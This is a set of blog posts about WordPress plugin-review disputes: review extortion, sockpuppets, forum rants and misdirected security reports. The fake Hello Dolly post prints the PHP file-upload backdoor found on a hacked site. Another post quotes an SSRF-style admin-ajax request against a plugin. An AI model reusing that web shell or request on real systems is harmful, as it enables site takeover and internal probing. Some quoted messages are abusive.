But all the ‘easy’ stuff? Well Hugo has RSS Feeds, it can process images as it builds (though that will cause your deployments to take longer), it’s open source, and best of all? The output is static HTML.
Go ahead, try and hack that.
## How Hard Was It?
Honestly, it took me about 3 days to pick a new theme, apply it, move my basic content over, and start rebuilding the blog. Migrating blog posts took me about 3 weeks. The hardest part was realizing I was going to have to write some complex Hugo Mod code to include my gallery with lightbox code, but I banged that out in an evening.
There were frustrating moments. The Hugo community is significantly smaller than WordPress (I mean, whose isn’t?) and some of the code is a little on the ‘understood’ level (by which I mean things aren’t always spelled out, they assume you know what they’re talking about). In a way, it’s like using WordPress back in 2006 all over again, and look at where that’s taken me!
I’m very happy with the result. I picked a ‘fancy’ theme, called [Hinode](https://gethinode.com), and it came with Dark Mode built in. I ported over my custom code for recaps (I have a whole star rating system) and started building out topical *small* galleries where I could.
If I was a newbie to the web world? This would have been impossible. Then again, a lot of the work I’m doing in WP would be impossible for a newbie. About the only tool I’ve used where I think it’d be easier would be … Maybe MediaWiki? But only because you can build templates from the editor backend.
Even with Full Site Editing, WordPress would have been a bear and a half.
## Historical Notes
The ‘Library’ was once on MediaWiki because I had this idea to be a public repository anyone could edit. Only I kept getting attacked by spammers, so I turned off registration. Then I had to apply all sorts of plugins, only MediaWiki didn’t allow you to self-update like WordPress, and I had to write scripts and it was just a pain.
I rebuilt it all as Hugo about 6 years ago, and I really enjoyed it. GoLang is not something I’m familiar with, and sometimes the language drives me to drink, but so does PHP.
The Gallery used to be a home-grown SHTML setup, which then moved to a now defunct project, Gallery, and then to ZenPhoto, and finally to NetPhotoGraphics after ZenPhoto decided to be more than just a photo library. NetPhotoGraphics is hella fun to use, and I even built an embed tool for it, so you could paste a link into WP.
I did that with Hugo as well, and I’ll probably port that back to the new site sooner or later.
## It Is Sad Though
Basically this site has been a part of my dev growth from day one. I wouldn’t be working in WordPress were it not for this site, and I owe it a lot. Moving to Hugo is the end of an era, and it is a bit sad. But at the same time, I feel like I’m now in even *more* control over everything, and I’m making a leaner, faster, website every day.
I have no regrets for the steps I’ve taken on the way, and none about this move. It’s nice to not have to worry about updates all the time. After all, what’s on the site is just HTML.
I do miss being able to schedule posts though…
**Categories:** How It Is
**Tags:** hugo, wordpress
---
### [Plugins: If I Did It...](https://halfelf.org/2024/plugins-if-i-did-it/)
**Published:** June 18, 2024
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** When you do the crime and provide evidence you did it, it made my life easier.
**Content:**
Joe Co. (not their real name) had a bad day. It started when we emailed them this:
> Your plugins have been closed and your account on WordPress.org is suspended indefinitely for egregious guideline violations.
>
> Normally we send out warning notices to encourage developers to correct behaviour, however in certain cases there are events that cause us to have to take extreme action.
>
> We received a notice that you had been demanding users edit their reviews and comments in order to receive a refund from your product.
>
> Your employee fake@example.com said this:
>
> > Please kindly delete all the comment on Wordpress.org,
> >
> > After that, we will accept your refund request via PayPal
>
> And then they would provide links to screenshots of what to remove.
>
> There’s an ugly word for asking people to modify reviews for a reward: **bribery**.
>
> However asking users to modify a review and delete comments to get a refund is called **EXTORTION** \[…\]
If you’ve been reading for a while, you know how much I hate bribery and extortion.
## Time for Proof
Joe Co. emailed back
> It’s not a nice day today for our company to receive your email on our
> account suspension, but we understand your concern to protect Org’s plugins
> directory. We respect that!
>
> However, in case like this, you did receive the feedback from one side and
> I believe that you should take times to reviceved the feedback from our
> company also. And we want you to know that maybe you should protect us and
> our company from UNFAIR COMPETIOR.
>
> Yes we internally thinks that this is among our Competitor doing
> something to get our Copies of Products and Try to Down us from the
> Directory, here is the reason and proof:
Now, I can’t list the rest of that for reasons regarding anonymity, but I can summarize the proof:
1. A PDF of their internal chat client with the person who they felt probably complained (it wasn’t that person)
2. A PDF where the same person refused to let Joe Co. log into their site (reasonable!)
3. An admission they handled it badly
When I opened the first PDF I started laughing.
Wanna know what it says?
The kicker? That arrow and red box is from the PDF Joe Co. sent.
Right there, they are agreeing they told the user that they would only give him a refund if he deleted the reviews. They were not spam, either, the person left one, single, solitary review.
## Who was wrong?
Both Joe Co. and their user were in the wrong here.
The user knew damn well they weren’t getting a refund, and in fact I told him he was being silly for complaining that there was no refund when the terms he agreed to say no refunds.
Joe Co. should have stuck by their guns and not suggested that would give a refund at all.
Of course, what Joe Co. did after that made it so much worse… Sockpuppets. Sockpuppets everywhere. 100% of their reviews on one plugin were faked. My buddy who cleans that up sobbed into his coffee and I think that was when he wrote a ‘close all’ script.
Then they made two more accounts and resubmitted plugins and **did it all again**.
So while I will grant you that the user was an idiot, Joe Co. was worse.
## Do You Refund?
Regardless of if you provide refunds or not, the lesson here is “stick to your guns” folks. If the policy is “No Refunds” then suck it up, buttercup. If the policy is to provide a refund within X days, then you do that. If the company has no refund policy, then don’t buy from them, because you will get jerked around.
**Categories:** How it Was
**Tags:** plugins, stories, wordpress
---
### [Plugins: It's the Wild Wild West](https://halfelf.org/2024/plugins-its-the-wild-wild-west/)
**Published:** June 4, 2024
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** In which we should ban someone because they didn't want to work with another developer.
**Content:**
The email subject was really funny to me.
> PLEASE, save from the lawlessness!!!
They’re guidelines but sure. Yogi Bear here (whose real username implied he was smarter than everyone) went on to complain that developers ignore him and forum mods removed his posts complaining about said developers.
> At WordPress.Org forums there is chaos and lawlessness from some moderators and deception from developers!!!
>
> I work about month on improving and problem resolving and translation of huge plugin \[redacted\] but after I send my work to developer – they just start to ignore me and did not fulfill their promises!
>
> I create thread at forum about it, but some idiot arbitrariness moderator \[redacted\] just delete my thread with my asking for a help!
>
> It’s like if police will just kill people that turned to them for help!!! It’s a total absurd!!!
A little hyperbolic, but sure, I get the annoyance.
## All Mods are Bad Mods
Taking a look, it was clear what happened. Yogi Bear here had made a forum post about “WARNING! Deception from developers!”
The plugin in question offered free premium versions of their plugin in return for help making translations. In so far as bribery goes, I considered this to be a decent trade. The offer only existed on their website, you had to go find it, and it was a very clear “Work for us and be rewarded.” It didn’t, at the time, violate any guidelines.
Yogi Bear made a translation and sent it in. Then he spent weeks finding every security bug he could on the plugin and sent **that** in.
> But after I sent it – developers just stop answer to my letters (already about month) without any explanations and apology.
>
> \[…\]
>
> Therefore I WARNING all who want to translate \[redacted\] or negotiate with developers of \[redacted\] also known as \[redacted\] – all your work can be just taken without any promised gratitude!!! Dont work with \[redacted\] and \[redacted\] developers – they are deceivers!!!
Ugh.
While I will concede that ghosting someone with good intentions is a dick move, there was no contract between Yogi Bear and them, so while they **should** publicly credit him, they don’t **have** to. Also they didn’t use most of his fixes (I learned that much later).
One of the forum Mods replied that you don’t have to submit a translation to them directly (which is true). What that Mod didn’t know was that Yogi Bear was looking for the compensation that comes when your translation via WP.org is accepted.
Thing is … Yogi Bear’s translation **was** accepted (and he was rewarded). But still he saw three major issues:
1. The translated country list, on the English page, was in … English
2. The plugin used too many similar phrases (“Please confirm” vs “Are you sure?”)
3. Due to 2, there’s too much reworking to do here
Issue one was just someone not understanding what he was looking at. The second I agree is annoying, but honesty if that creates number three, then … don’t volunteer.
The plugin dev replied that they 100% had sent him the reward, but did not agree to his ‘extra’ conditions. This devolved into a “Yes I did!” “No you did not!” shouting match. Yogi Bear had screenshots saying he didn’t get anything (no attachments), Plugin had screenshots with links to where he could download (and his replies).
After a back and forth, the Mods sighed and closed the thread. Shortly thereafter, Yogi Bear complained to Plugin Review.
## As Expected, It Escalated
Well.
Looking into it, it was obvious Yogi Bear had been asked to stop calling people names (everyone was a liar or a cheat). The Mods had warned him, twice, so Plugins pointed out he was the one breaking rules at that point. **However!** Plugins was happy to listen to this complaint if he had actual evidence of a violation to the forum or plugin guidelines.
> so fucking tide of all of you – idiots, irresponsible scums, liars, lazybones, etc…
>
> Are you an idiot?
>
> I repeat – ARE YOU AN IDIOT?
>
> Because obvious answer is – yes, you are an idiot for sure, I have to explain to you what you can’t understand with your stupid mind…
>
> 1\) Where you find that I ignored any requests form moderators?! It’s a total LIE! I don’t receive any requests, just my threads was deleted now by idiot \[Mod 1\] and previously by the same kind of arrogant idiot \[Mod 2\]. You cannot blame me that I ignore something because I don’t get any request at all!!!
>
> 2\) What do you think – for what purpose WORDPRESS PLUGINS SUPPORT FORUM are exist?! I don’t even talk about super low level of help at those forums by your team and mass closing not resolved questions… but particularly at this situation – It’s most obvious function of especially your forum is to WARN OTHERS about some developer dishonest and deception behavior at their forum part! It’s most obvious action to ask WP.org community to help! It’s most obvious action to ask moderator FOR HELP!
>
> 3\) Publishing all this at my personal blog will not give any results. You must smarten up and grow up and take responsibility of such conflicts resolving, of WP users protection, etc – BUT NOT TO brainless delete their asking of help for sure!!!
>
> 4\) Just read deleted thread – there are full of EVIDENCE – I help to \[plugin\] with more than 100!! Bug resolving, some fundamental problems resolving, many suggestions of improvements, etc – it’s a HUGE and respectable work that just was taken by dishonest developers! If it’s a normally for you, if you don’t feel that WP.org PLUGINS SUPPORT FORUM M\_U\_S\_T protect users from dishonest developers and lawlessness moderator – you better just go and kill yourself.
So to be clear here, none of his complaints were about the plugin (I was kind of hoping he’d share the security issues since I didn’t see anything serious), and all were that the Mods told him to stop being a dick, and he said no. Per usual, this was replied with a reminder that Yogi Bear was emailing the plugin **review** team and we did not overrule forum moderators unless it was a valid issue with the plugin.
The issue was Yogi Bear hating the plugin developers.
[Not our circus, not our monkeys](https://halfelf.org/2024/plugins-not-circus-not-mine/) (unless the plugin devs retaliated, which they did not — though we did caution them about sharing screenshots of emails in public).
Yogi Bear shouted that we were idiots, again, and:
> If you are only “plugin bugs fixing team” – you must NOT judge me and my threads at forum.
1. Plugin **REVIEW** team, for fuck’s sake!
2. We weren’t judging, we were saying the Mods did their job and we didn’t override them
Okay, I was absolutely judging him. And I agreed with the Mods here.
Yogi Bear was directed to Slack.
He never went.
## What Happens if The Dev is a Dick?
That’s a valid question! The answer sucks.
Let’s say Yogi Bear was right and his translation was accepted (easily verifiable) but he did not get any reward as promised (harder to verify, but assume we could), then … WordPress.org is **not** the place to rant.
See, that’s an agreement between Yogi Bear and the plugin developers. It’s a causal, kinda verbal, agreement, and if they don’t meet their end … Er … Well. Sucks? Go to social media?
Now, if you look back you can see Yogi Bear *kind of* understood that WP.org wasn’t the place, but he wouldn’t get traction anywhere else. And I really do feel for him there. But if you go to a place, rant, and are told “Hey man, this is not the place where you can just rant about these casual deals gone wrong” and you decide to do it anyway?
Right.
If a dev is a dick but didn’t violate guidelines, post about it on your blog, stop using their plugins, and let ’em rot. But that’s really all you can do. A lot of assholes make great plugins, and a lot of them are really not pleasant to work **with**. Unless they’re breaking the rules of the sites they’re on, you vote with your dollar and nothing more.
For Yogi Bear here, he did all this to himself.
1. He 100% got the code he was ‘owed’
2. The plugin dev had no obligation to work with Yogi Bear on the security issues
3. He never reported the security issues to WP.Org
4. He intentionally, purposefully, and willfully ignored the **reasonable** ask of the Forum Mods to stop being a dick
In the words of Jeff Probst, I got nothing for you.
**Categories:** How it Was
**Tags:** plugins, stories, wordpress
---
### [Plugins: Fake Plugins Are Your Fault](https://halfelf.org/2024/plugins-fake-plugins-are-your-fault/)
**Published:** May 21, 2024
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** The hacked code is not coming from Hello Dolly. It's just not.
**Content:**
Han (not his real name) emailed the plugin team to complain he was suspended by the forums team.
> \[…\]
>
> But sometime in the last 12 months I had several sites attacked in which a Fake version of the Hello Dolly plugin was installed maliciously.
>
> Sadly as my post was deleted without warning or explanation any further details I could have given on the subject where lost along with the post.
Now. Someone **did** reply to Han and told him that the fake plugin meant he had a vulnerability on his site, and here’s how you can look into that. Since his forum post included a code snippet, yes, it was removed **after** he was emailed about it.
## If it’s not hosted here, we don’t care
That was, more or less, my mantra. It’s wrong, I very much do care, but I cannot do a blessed thing about other people’s sites.
Still, we looked at the thread, and I was amused by the code:
```
if(isset($_REQUEST['act'])){
echo ''.php_uname().'';
echo @file_get_contents('/location/server/version').'';
echo '';
echo '';
echo '';
if( $_POST['_upl'] == "Upload" ) {
if(@copy($_FILES['file']['tmp_name'], $_POST['uploadto'].'/'.$_FILES['file']['name'])) {
echo 'Upload success!'.$_POST['uploadto']."/".$_FILES['file']['name'];
} else {
echo 'Upload failed!';
}
}
exit;
}
```
We replied that the code Han found on his server was **not** hosted on WordPress.org and, therefore, we could do nothing about it, here’s how you clean up your hacked site.
> You’re reporting that your sites have a vulnerability and someone is exploiting them. That they happen to use Hello Dolly to hide their malicious code is not something we could prevent. All we can tell you is that something on your sites is insecure and being used as a back door.
Han disagreed:
> No the plugin was faking being hello dolly i don’t use it that’s how it was discovered. It installed itself and pretended to be hello dolly so yeah your problem coz it’s pretending to be one of your plugins
That’s not how it works. I get why Han thought that, and in a way, it is a problem but … what can we do about it?
1. We don’t know where the hack is from
2. The hacker could have faked any plugin
3. Of fucking course they’d fake a well known one people might ignore
I’d love to be able to stop people from faking plugins, but there’s no way to even try.
## Fix Your Site
We tried again:
> I’m sorry but you are incorrect in your understanding.
>
> The problem is not the Fake Hello Dolly, the problem is SOMETHING ELSE on your sites is vulnerable and that is being used by evil people to install the fake plugin.
>
> They could have named the fake plugin anything. They picked Hello Dolly because it’s common, but there’s nothing anyone can do to make them pick another name.
>
> There’s nothing we can do to help you here.
>
> Stop looking at the fake plugin as the source of your trouble and figure out what OTHER plugin or theme LET IT get installed.
>
> Or hire a security company to help you.
Because you see the real issue is his sites **keep getting hacked**. So y’know, fix yourself.
> Or don’t you think it worth warning users to be aware of a threat that is branding itself as a WordPress product?
>
> I’m not asking you to fix anything. Im talking about something I found while patching security on someone else’s site sure they could have named it anything. But the code and everything about it was disguised to look a lot like Hello Dolly. All i wanted was to make someone aware but fine. Thanks I’ll know not to bother trying to help the community next time
I see we’ve jumped over to ‘you won’t do what I want so I won’t ever help again’ — a common refrain.
## WordPress.org cannot stop people from being assholes
So we tried again
> We understand what you’re trying to do. The reality is that there’s ***nothing*** we can do about this.
>
> It’s like people selling a fake Rolex watch. If we knew who it was, we could attempt to stop them. But knowing that it happens ‘somewhere’ out there and that someone fell for it? Well… we’re sorry and it sucks, but there’s nothing we can do about it.
>
> Someone made a fake Hello Dolly and hid bad code in it. They could have picked *any* plugin, even Yoast SEO, but even then Yoast would tell you there’s nothing they can do either.
>
> Of course Dolly was targeted. It’s on every single install. It’s like targeting Safari on a Mac. Ever Mac has it. It’s there. It’s used. Target it.
>
> All you’ve done here is tell us “Hey someone made a fake plugin and hid stuff in it.”
>
> Thank you, but there’s nothing we can do to stop it, and there’s nothing we can do to help people because the real issue isn’t **whose** plugin was faked, but **how** did that get installed in the first place. And that’s the job of a site security team.
>
> Unless the fake plugin is being distributed by WordPress.org, or the vulnerability that allowed it to be installed is in a plugin hosted on WordPress.org, this is outside our purview and we cannot assist you.
At that point, Han accepted the point, but bitched we weren’t super kind at the start.
Now here’s where it gets funny.
Han claimed he never got the emails from the forums team, except he did. We know he did because he **quoted one** in his first email! So, since we knew he’d already been told things (like the plugin team cannot help you on code hosted outside of WordPress.org), we’d skipped that at the start of his email and that pissed him off.
When this was pointed out, he claimed (again) to have not gotten the emails and didn’t know what to do. So we directed him to Slack and he opted to … not.
## Points to Remember?
If a plugin is ‘hacked’ it’s likely a different plugin causing it and you can check because all the code on WordPress.org is open source and free to view. You can go look and say “Hmm. my copy of Hello Dolly doesn’t match!” That means the issue is not with the code hosted on WordPress.org, it’s something else!
If it’s code you bought elsewhere, again, don’t complain to the Plugin Review Team, they can’t do jack.
If it’s code you got from a nulled site, well you’re an idiot and don’t do that again.
**Categories:** How it Was
**Tags:** plugins, stories, wordpress
---
### [Plugins: How Not To Report](https://halfelf.org/2024/plugins-how-not-to-report/)
**Published:** March 26, 2024
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Here's how you give a terrible proof of nothing and act like you're the victim all along.
**Content:**
One day, we got a weird email from Dexter (not his real name).
> Am I allowed to release my POC in an hour? It was reported and my report was given n/a. No one is taking any notice to it so I assume it is safe to share and help others.
That was, literally, the first email we got.
We replied and asked “What PoC?” (PoC means “[Proof of Concept](https://en.wikipedia.org/wiki/Proof_of_concept#Security)” in this case, and it’s expected that if you report an issue, you explain how you found it and how to reproduce it as … proof … of the concept of the issue). We stressed that we **had not** received any other emails from him, so could he please explain.
We also mentioned that asking for a reply in an *hour* is not acceptable for anyone, especially when you don’t know what time-zone people are in. The rest of the email was the boilerplate “Here’s how you file a security report for WP and here’s how you do it for a plugin.”
## My Bad, I was Helping
Dexter…
> You see my actions as wrong. Sorry. I was trying to help. Has been a few weeks. Not making excuses but now you explained I understand, on the other side of the fence things are not as clear as that. I also have a thing where if I do not write things down I will eventually forget them. This is extra tough as I try not to keep information of vulnerabilities. However, it is my intent to do right.
>
> Believe it or not but, you are one of the only people who actually try to help educate me. Even though you did not have to.
>
> I was trying to get a CVE but I do not know the relevance of the issue. I originally thought it was WordPress then was told about plugins. The website owner is unresponsive. Trust me, I submit about 500 reports a day. They always unresponsive.
>
> I am not sure if you still want me to communicate with you or if you prefer me to leave you alone.
>
> Thank you for reducing my ignorance, either way.
While I’m sure he submits a lot of reports, this was (again) the first time he’d ever emailed Plugins. And notice that he still isn’t saying anything about this report?
So we asked again, **what freakin PoC**?!?! (nicely) and he replied in four emails with screenshots and this was the PoC:
> It is for this
>
>
> [https://codex.wordpress.org/AJAX\_in\_Plugins](https://codex.wordpress.org/AJAX_in_Plugins)
>
> It was not on wordpress.org.
>
> Since the issue is down to the php code, I am not sure who is responsible for it.
None of that is a PoC, for the record.
That email looks like a comment about a security issue **with** WordPress, right? But via the screenshot of the webpage (not a link, he sent a fucking screenshot!), I was able to figure out this was from a CVE about the Ajax Load More plugin and looking at the CVE … [it was already closed](https://vuldb.com/?id.171416).
> Per \[URL\], the issue is resolved.
>
> This means there’s nothing for you to report, **unless** you’ve found something else. And if you have, you need to unpack what’s in your head and tell us what you found.
>
> If you’re just telling us that the vuldb site reported on an issue, then please make sure their site is **NOT** saying the issue was resolved. We don’t need to know about those, as they’ve already been handled.
Oh and there was no issue with the codex, it was just documentation.
Dexter replied “One of the targets I tested on says they are using version 5.1.9.” and frankly that sucks but it’s not *our* responsibility. The plugin was fixed, the fix was released, and if some dingleberries didn’t update, that’s on them.
He then claimed the fix *wasn’t* in the 5.3.1 version. You know, the version known to be vulnerable? Yeah, it didn’t have the fix. The *next* version has the fix. As documented.
## If a PoC Falls in the Forest…
Next, Dexter sent a report and here’s what his PoC looked like:
```
7B227073704964223A2239373943394538343346343131343044463144313834343232393232313734313034353044314339464446394437384337313531303944334643463542433731222C2276657273696F6E223A312C22637265617465644F6E223A313536363233343735303036312C227369676E6174757265223A2233303830303630393261383634383836663730643031303730326130383033303830303230313031333130663330306430363039363038363438303136353033303430323031303530303330383030363039326138363438383666373064303130373031303030306130383033303832303365333330383230333838613030333032303130323032303834633330343134393531396435343336333030613036303832613836343863653364303430333032333037613331326533303263303630333535303430333063323534313730373036633635323034313730373036633639363336313734363936663665323034393665373436353637373236313734363936663665323034333431323032643230343733333331323633303234303630333535303430623063316434313730373036633635323034
```
Not a joke.
The text file was just that.
We asked if he sent the wrong file or it was encrypted, and he claimed we were idiots for not understanding that. Again, we asked him to give us an actual proof of concept, where he walked through how he found the bug and identified it. Instead, he linked to more and more sites that had been hacked, as if that proved anything.
Since he’d linked to sites with the parameters used to ‘hack,’ I was able to track down the actual plugin with the issue and … drum roll … it was already fixed!
Two years ago.
So Dexter decided to ‘prove’ it was a problem by finding people with the old versions of the plugins (bear in mind, **every single plugin** he reported had already been fixed) and attacking their sites and crashing them.
That’s how someone sues your ass, by the way. **NEVER ever try to test a hack on someone else’s site!** Besides being bad-form, if you break the wrong site you can find yourself at the bad end of a legal mess.
## Proof of Concept Means You PROVE how it works
We tried to explain again:
> The issue is you handed us an *incomplete* PoC without the explanations and expected US to do the hours of work to try and guess what you meant.
>
> Just by looking at that URL: `example.com/wp-admin/admin-ajax.php?action=formcraft3_get&URL=http://127.0.0.1:8080`
>
> We see how it says `formcraft3_get` — That means a **specific plugin** is required to even make this possible.
>
> That issue has **already been resolved** and was confirmed here:
>
> If you’re not testing the latest versions of WP (which you already mentioned) and the plugin, then it is an invalid report. If you are not updating WP and the plugins, of course you have a high risk of vulnerabilities, but it’s incorrect to claim these are ‘new’ (other people have already reported), and since they have all been fixed then you just have to update your site.
>
> Since literally **every single report** you claim to be an issue has been fixed, we have nothing to do here.[](https://secure.helpscout.net/conversation/2339962113/410555?folderId=4314375#)
He replied ‘okay’ but then kept attacking sites to prove it.
After he replied this:
> I don’t know what you have to do but I am convinced something needs to be done. I am genuinely trying to help you. You just have to accept that you may be wrong here and need to do something about it.
>
> There are a vast amount of people looking to use the exploit. You have not advised your customers from any of the links you showed. No offence but, your work around sucks too. It is like you do not assume an attack will do any recon.
I gave up, and flagged him as ‘quarantined’ which is where we put people who are well meaning, but cannot be helped.
He’s right in that people are looking to attack sites, but if the fix is available and people don’t use it, the only think the plugins team *might* be able to do would be force an upgrade. We only do those under exceptional circumstances, which none of these were.
Dexter’s still running around, being a serial ‘hacker,’ and I’ve no doubt one day he’ll really get himself into trouble.
**Categories:** How it Was
**Tags:** plugins, stories, wordpress
---
### [Plugins: Do Better](https://halfelf.org/2024/plugins-do-better/)
**Published:** May 7, 2024
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Do a better job and review everything and listen to me because I know better!
**Content:**
Gazzer (not his real name) had a somewhat decent point to make. He emailed plugins to complain about security:
> You guys (WP) should do a better job of screening and/or even certifying the plugins that are listed in your directory.
>
> I’m constantly receiving emails warning of security vulnerabilities associated with plugins.
>
> Also, I’m spending way too much time dealing with plugins that wreak havoc with my site (using up server resources, and carrying viruses).
>
> Maybe, you can experiment with a premium or “paid” plugin model.
>
> If Apple can do it with apps. then you guys can do it with plugins.
>
> Gazzer’s email
This is a pretty common complaint. And it comes from a misconception I fully understand.
## We Don’t Do That
The Plugin Review Team **does not** review every single release of every plugin. Considering the magnitude of the backlog today (over 400 and climbing) I think you all can see why.
Reviewing a plugin takes time and it takes work and, if you’ve been reading this blog for a while, it takes mental fortitude not to scream “Just fucking enqueue your goddamn javascript you moron!” all the time.
Ahem.
I know that (at least at one point in time) the Theme Review Team did in fact review every release of every theme. I have often said that can work with themes because at their heart, they’re easier. Themes are themes. They ‘do’ the same thing in different ways.
Plugins can be anything, do anything, and do it in any way possible. That divide id bigger than the Grand Canyon.
> We don’t screen or certify the plugins at all.
>
> We review new plugins when they are created, and advise authors about problems before hand. However, there are 1000+ updates to plugins every single day. We do not have anywhere near the manpower to review every single change.
>
> We are a hosting service. We host the plugins for authors. We do not verify them, we do not create them, and we do not own them. Each plugin is owned by its authors, and they are responsible for it.
>
> Plugin Team reply
Gazzer didn’t like that.
## Try a Plugin Store!
Gazzer felt we should address his suggestion and try a store.
> Obviously, it easier to point out what you DON’T do as compared to looking at my suggestion and addressing it.
>
> I mentioned, “Maybe, you can experiment with a premium or “paid” plugin model.”
>
> Security vulnerabilities and poorly designed plugins are a major problem for some of us. Besides, if you create revenue from charging developers for plugins that some of us would be willing to pay for (especially certified for security and reliability) then it’s a win, win. However, if it’s easier to talk about what you can’t do or won’t do then nevermind.
>
> I’ll continue to look elsewhere.
So we pointed out:
1. Plugin Review is a 100% volunteer org, no one gets paid
2. Even CodeCanyon, who does have a paid/premium library doesn’t check every release
3. No plans to do premium at this time (circa pre-Covid)
The plan hasn’t changed. If if does, I would agitate for backpay for a decade of service, though.
## And By The Way …
Instead of complaining about that anymore, Gazzer went on to vent about (checks notes) updates!
> Speaking of plugin and WP issues.. (see the screenshot).
>
> Why should I have to deal with the unknown consequences of this crap! Below:
>
> WTF!
What the fuck is your plugin add-ons aren’t tested up to the latest version of WooCommerce and might conflict, and Woo is kindly warning you.
Since we couldn’t figure out what was *bad* about that, we shrugged and didn’t reply. Gazzer sent a second reply with the exact same email, and we filed it away as well.
## Gaz can probably be UN-banned
Of note, I think we could (and likely should if it hasn’t already) remove Gazzer’s ban. He was banned for simply not accepting the reality of life. If all you’re going to do is tell someone they’re wrong, over and over, they will stop listening to you. But in retrospect that’s a bit harsh.
At the same time, he doesn’t seem to care and has ‘moved on.’ In fact, he nuked his account and his Slack account.
Now.
Should WordPress.org have a paid/premium service? No. Absolutely not. That would ruin a lot of things, and reviews would become a play for money instead of fixing the internet.
Should someone have a service where they review plugins and give security reviews? A few exist, but one is a total asshole, three were bought out by major players, one thinks FUD sells better than actual checks, and the last one is [Patchstack](https://patchstack.com) whom I love.
**Categories:** How it Was
**Tags:** plugins, stories, wordpress
---
### [Plugins: Kick Rocks](https://halfelf.org/2024/plugins-kick-rocks/)
**Published:** April 23, 2024
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** There are good ways of handling a bad review you don't like. This is not one of them.
**Content:**
Once upon a time there was a company called WP Bins (not their real name). They had a plugin that was flagged by the forum folks for going batshit on a review, demanding to know the definition of a review.
## Schrödinger’s Review
A review is a forum post of someone’s experience using your plugin.
That’s it. We ask people to be honest and fair, to use nicer language, but really there aren’t too many limits. This tends to result in developers angry due to subpar/uninformative reviews.
I really get that. Getting a review of “This doesn’t work” sucks, and it’s as useful as tits on a snake. But the thing is, a review is someone’s experience. They can be wrong sometimes (like if they blame your plugin for something that isn’t your fault) but in general reviews are not malicious — they are either really happy or really angry.
WP Bins reached out to complain about a ‘non’ review:
> It is someone crying because they have to pay extra for functionality included in the free version. This is not a review based on our product or what it can do, it is someone crying that we have the audacity to charge for the time/effort/resources spent to offer it to them.
We took a look and saw the review was a complaint that functionality they need isn’t in the free version. Which, you know, annoying, but valid. That’s a complaint. And the developer is free to say “We know, it’s not going to be free.”
I have often said the way in which you reply to a review is **more** important than the review, and Bins was a great example of that. The first comment was fine (basically saying “As our website states, those features are premium”). It was a bit snarky, but in the RTFM (read the fine/fucking material) kind of way.
But Bins also flagged the review for moderation. A mod stepped in, explained sorry, it’s a valid review, and that’s where we went off the rails.
## And By The Way …
Bins and the Mods got into a pissing match of “It is a review!”/”It’s not a review!” until the Mods put their foot down and said “You asked us to look, we did, it stands.”
Sometimes you don’t get what you want.
Then Bins escalated to Plugins. We went in, cleaned up the (public) argument about if it was/wasn’t a review, explained we were doing so to protect Bins from their own frustration (which we understood completely) and then checked out the plugin.
This was the risk any time someone asked me to look at their forum drama. I **always** checked their plugins, because invariably the people who were the bitchiest about unfair reviews were breaking guidelines.
Bins was:
- Prompting users for a license, claiming it was required for updates
- Emailing users on activation/deactivation
- Not sanitizing
The first one was assumed to be a gaff. That is, they meant to say a license was needed for **premium** updates. Their methodology ran afoul of the guidelines, so it was explained how to correct that.
The email they were told to review.
The sanitizing was a requirement. And we’re talking basic stuff here:
```
'zip' => ( isset( $_POST['premium_addon_zip'] ) ) ? $_POST['premium_addon_zip'] : '',
'slug' => $_REQUEST['plugin_slug'],
```
## Kick Rocks
That’s when they got **mad**.
> We will not be reopening the plugin on the WP repository if you can’t accept the fact that reviews are for reviewing products. And, if you cant accept that leaving one star (as oppose to 2 or 3) SOLELY because we have a premium version, well, is petty and childish (to use your lingo).
>
> We don’t need the WP repo. We did it for users and to be part of the “community”. But if this is how the community responds to our philanthropy, then kick rocks!
>
> Go ahead and pull the plugin.
I will note, we *absolutely* told Bins they were being petty and childish over a single one star review. He was being a truculent toddler.
And before we could reply:
> If you are willing to delete my reply because of protecting me, then why couldn’t you delete theirs? You even mentioned that it was a piss poor review and hard to tell what the hell they are saying. So, why would you leave that up? I don’t need you to take down my responses. My response was sound. We have a great user base and people that can actually read what we put out the for them. Including the price structure and our model.
>
> So, leaving his comment and removing mine is pathetic. Since we are slinging around insults here 😉
Bins got told “The review is a bad review, but it’s still a review” and “Do you want to turn this into a permanent closure?”
They chose to argue that there were not conflicts, and there was no email (there was, I got one). No mention about the license thing, no mention about security. Oh and they **demanded** we restore their bitching.
When someone gets there, and zeroes in on the **one thing** they feel is unfair, without stopping to address the security stuff, it’s no longer worth the time of day to talk to them.
## Backtracking
At this point, we told Bins the plugin was closed, restored their angry comments, have a nice day. They were **not** banned!
Not until they made a fake account and left 5 star reviews for themselves.
But that’s not here yet.
Bins came back to plugin to ask we remove their ranty comments because even though we said a single bad review wouldn’t hurt them much, they were getting no sales.
**NO SHIT, SHERLOCK!**
The review wasn’t the issue! Their **reply** was the issue! Who the fuck wants to use a plugin if the developer is going to accuse them of being fake!?
We re-removed the angry replies and reiterated that if they wanted to come back:
1. Fix the problem with the emailing
2. Remove the license ‘requirement’ and make it clear it was only for premium support
3. Fix security
That’s reasonable, right?
Bins said thank you, and then made the sock puppets I mentioned earlier.
## Bin and Bag it
At this point, everyone gave up on Bins.
A month later, Bins emailed plugins and explained the sock puppet was their spouse (note: people argue this a lot, please DO NOT ask your partner to leave a review for you! It’s disingenuous unless they say “I’m X’s husband! I love this plugin!”)
> You were banned for your overreaction to a single bad review. Your actions following that escalated and exacerbated the situation.
>
> You called people names, you sent MULTIPLE emails alternately demanding we fix or remove your plugins, without addressing the issues we’d raised. Then you got \[your partner\] to make an account and leave a review as a paying user (which is incredibly biased, seeing as \[they’re your partner\]). We made an attempt to shield you from backlash, you demanded we allow your post to stand. You made legal threats.
>
> At this point, it’s HARMFUL to the volunteers to permit you to run wild on our system and we are declining to permit you to do so.
>
> Your use of our systems are at-will. We are no longer willing to permit you to use them, and since you have no code hosted here, you have no need to do so.
Bins grumbled but accepted this.
## The Moral of the Story?
Reviews can really, really suck. They can be low quality, they can be worthless, they can be outright wrong.
But they remain one thing: Someone’s experience with **your** plugin (or theme).
You don’t have to agree with them, but you sure as shit shouldn’t rant and rave about people being ‘fake’ and how unfair it is that someone doesn’t like your choices. People don’t have to like your work! I know it sucks when they don’t but if Bins had just said “We understand your frustration. We charge for X because blah.” then none of this would have happened.
